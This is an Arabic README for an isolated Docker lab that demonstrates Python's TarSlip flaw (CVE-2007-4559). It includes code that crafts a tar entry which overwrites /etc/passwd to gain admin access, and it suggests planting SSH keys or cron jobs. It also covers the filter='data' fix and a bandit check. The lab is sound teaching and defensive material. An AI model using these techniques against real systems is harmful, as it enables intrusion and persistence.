
للاستخدام التعليمي فقط. يستغل هذا المختبر عن قصد ثغرات نظام الملفات داخل حاويات Docker معزولة. لا تشغّله على أي نظام يحتوي بيانات حساسة أو في بيئات الإنتاج.
مختبر Docker مستقل بذاته يوضح CVE-2007-4559 — ثغرة «TarSlip» سيئة السمعة في وحدة tarfile الخاصة بلغة Python — عبر سلسلة هجوم ملموسة من البداية إلى النهاية:
extractall() بشكل أعمى إدخال tar باسم ../../../etc/passwd خارج مجلد الاستخراج، فتحل محل ملف النظام الحقيقي./admin المحمية.تعيد tarfile.extractall() في Python إنتاج كل إدخال في أرشيف tar بأمانة، بما في ذلك الإدخالات التي تحتوي أسماؤها على تسلسلات اجتياز المسار ../. لم تُصمم أبدًا لتكون حاجزًا أمنيًا.
tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/
resolved path : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← system file overwritten
يدور العرض في ثلاث مراحل، تتطلب كل مرحلة ضغطة مفتاح للمتابعة.
GET /admin → 401. نقطة نهاية المسؤول موجودة ومحمية. لا يعرف المهاجم كلمة المرور.innocent.tar.gz → الملفات تصل إلى داخل مجلد العزل. كل شيء يبدو طبيعيًا.Attacker crafts tarslip_passwd.tar.gz
└─ entry: "../../../etc/passwd"
content: admin:hacked:1001:... ← planted password
│
▼
POST /upload (multipart file upload)
│
▼
extractall("/shared/uploads/{uuid}/")
resolves "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
طلب HTTP POST واحد. لا قشرة. لا حمولة RCE. مجرد ملف tar.
يُرفع الأرشيف نفسه إلى الواجهة البرمجية المصلّحة، التي تمرر filter='data' إلى extractall(). تثير Python استثناء tarfile.OutsideDestinationError — يُحجَب الاجتياز، ويبقى /etc/passwd دون مساس، ويظل /admin مقفلًا.
# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)
# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
وسيط واحد. خمسة عشر عامًا حتى صدر.
أربع خدمات على شبكة جسر Docker معزولة (tarslip-net). لا يصل أي شيء إلى الإنترنت.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ port 8000 │ │ port 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Serves /shared over │ │
│ │ GET /admin │ │ HTTP — browse extracts │ │
│ │ GET /health │ │ visually │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ shared-storage volume │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (no host port — internal only) │
│ │ │ │
│ │ craft_malicious.py — generates tarballs │
│ │ demo.py — drives the demo │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
تستخدم الواجهتان البرمجيتان الضعيفة والمصلّحة كودًا مصدريًا متطابقًا. الفرق الوحيد هو متغير البيئة USE_SAFE_EXTRACTION=true على الحاوية المصلّحة، وهو ما يقلب وسيط filter='data' الوحيد.
CVE-2007-4559-lab/
├── run_demo.sh ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # seeds admin:s3cr3t_Adm1nPass into /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # generates innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # four-mode CLI driver (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
السكربت تفاعلي بالكامل. يعرض سردًا قبل كل خطوة وينتظر الضغط على Enter للمتابعة. لا حاجة إلى معرفة سابقة بـ Docker لمتابعة العرض.
إذا أردت التنقل خطوة بخطوة يدويًا:
# Vulnerable stack
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Fixed stack
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Teardown
docker compose -f docker-compose.fixed.yml down
بينما تعمل البيئة الضعيفة، افتح http://localhost:8080/uploads/ لتصفح مجلدات الجلسات المستخرجة في متصفحك.
/adminتزرع الواجهة البرمجية كلمة مرور سرية للمسؤول داخل /etc/passwd وقت بناء الصورة:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
يقرأ GET /admin هذا الملف ويتحقق من الحقل الثاني (كلمة المرور) مقابل بيانات اعتماد المصادقة الأساسية HTTP. لا يعرف المهاجم s3cr3t_Adm1nPass — لكن بعد أن تستبدل TarSlip الملف بنسخة المهاجم التي تحتوي admin:hacked، سيعرفها.
هذا نموذج مبسّط لأهداف العالم الحقيقي: ملفات authorized_keys الخاصة بـ SSH، وملفات إعداد التطبيقات، ومهام cron، وأي ملف بيانات اعتماد يمكن لعملية الويب الكتابة إليه.
يستخدم craft_malicious.py وحدة tarfile الخاصة بلغة Python نفسها — الوحدة نفسها التي تحمل الثغرة:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name is the traversal path
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# Entry name resolves to /etc/passwd when extracted into /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
لا أدوات خاصة. لا استغلال ثنائي. المكتبة القياسية هي السلاح والضحية معًا.
قدّمت Python 3.12 وسيط filter= ضمن PEP 706. مُرشّح 'data':
tarfile.OutsideDestinationError عند محاولات الاجتياز# Before (vulnerable — still the default until Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# After (safe)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
بالنسبة إلى Python 3.11 والإصدارات الأقدم، تحقق يدويًا:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Unsafe path: {member.name}")
tar.extractall(dest)
التحليل الثابت: قاعدة B202 في bandit تعلّم على استدعاءات extractall() غير الآمنة في CI.
TarSlip هو الاسم الذي تطلقه Python على فئة من الثغرات موجودة في كل لغة تحتوي واجهات برمجية لاستخراج الأرشيفات:
السبب الجذري نفسه في كل مكان: الثقة بمسارات من أرشيفات غير موثوقة. والإصلاح نفسه في كل مكان: تسوية المسار والتحقق منه قبل الكتابة.
ركّز على الفرق بين الكود قبل الإصلاح وبعده وقاعدة bandit B202. الهدف هو: «كيف نمنع هذا في قاعدة أكوادنا؟» — اعرض دليل الترحيل إلى PEP 706 وكيفية إضافة الفحص إلى CI.
ركّز على منهجية الكشف لدى Trellix — كيف بحثوا في GitHub على نطاق واسع، وقدّروا الأثر عبر 350,000 مستودع، وتنقلوا في الكشف المسؤول عن ثغرة بهذا الانتشار.
وسّع craft_malicious.py ليزرع ملف authorized_keys خاصًا بـ SSH أو إدخال cron خبيث بدلًا من /etc/passwd. التقنية نفسها، أهداف مختلفة — يُظهر ذلك أن أي مسار قابل للكتابة هو سطح هجوم.
MIT — استخدمه بحرية في التعليم وأبحاث الأمن والعروض في المؤتمرات. لا تستخدم تقنيات توليد الحمولات ضد أنظمة لا تملكها.
| الجدول الزمني |
|---|
| 2007 | الإبلاغ عن الخلل لفريق أمان Python |
| 2007 – 2022 | تصنيفه «ليست مشكلة أمنية» — tarfile «تعمل كما هو مقصود» |
| 2022 | باحثو Trellix يفحصون GitHub ويعثرون على أكثر من 350,000 مستودع يستدعي extractall() على مدخلات غير موثوقة |
| 2022 | كشف علني. عادت CVE-2007-4559 إلى الواجهة. حالة هرج على مستوى الصناعة. |
| 2023 | PEP 706 يصدر filter='data' في Python 3.12 — الإصلاح هو وسيط واحد |
| الخدمة | الصورة | الدور | منفذ المضيف |
|---|
vulnerable-api | python:3.11.3-slim | واجهة رفع Flask + /admin محمية بمصادقة /etc/passwd | 8000 |
fixed-api | python:3.12-slim | الكود نفسه + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | عرض قائمة مجلدات الملفات المستخرجة | 8080 |
attacker | python:3.12-slim | مولّد الحمولات + مُشغّل العرض | — |
| نقطة التوقف | السرد المعروض | الإجراء عند الضغط على Enter |
|---|
| 1 | الجدول الزمني لـ CVE، وماهية المراحل الثلاث | بناء البيئة الضعيفة |
| 2 | أدوار الحاويات، كلمة مرور المسؤول المزروعة | توليد الحمولات |
| 3 | ما بداخل كل أرشيف tar | المرحلة 1 — خط الأساس |
| 4 | لماذا يُرجع /admin 401، وكيف يبدو الاستخراج الطبيعي | المرحلة 2 — الاستغلال |
| 5 | رياضيات الاجتياز بالضبط، وما الذي يُستبدل | التبديل إلى البيئة المصلّحة |
| 6 | ماذا يفعل filter='data' ولماذا يعمل | المرحلة 3 — التحقق |
| 7 | الخلاصات الرئيسية + نمط ZipSlip الأوسع | إيقاف البيئة |
| اللغة | الواجهة البرمجية الضعيفة | CVE / إشعار |
|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar وadm-zip وغيرها | ZipSlip (2018) |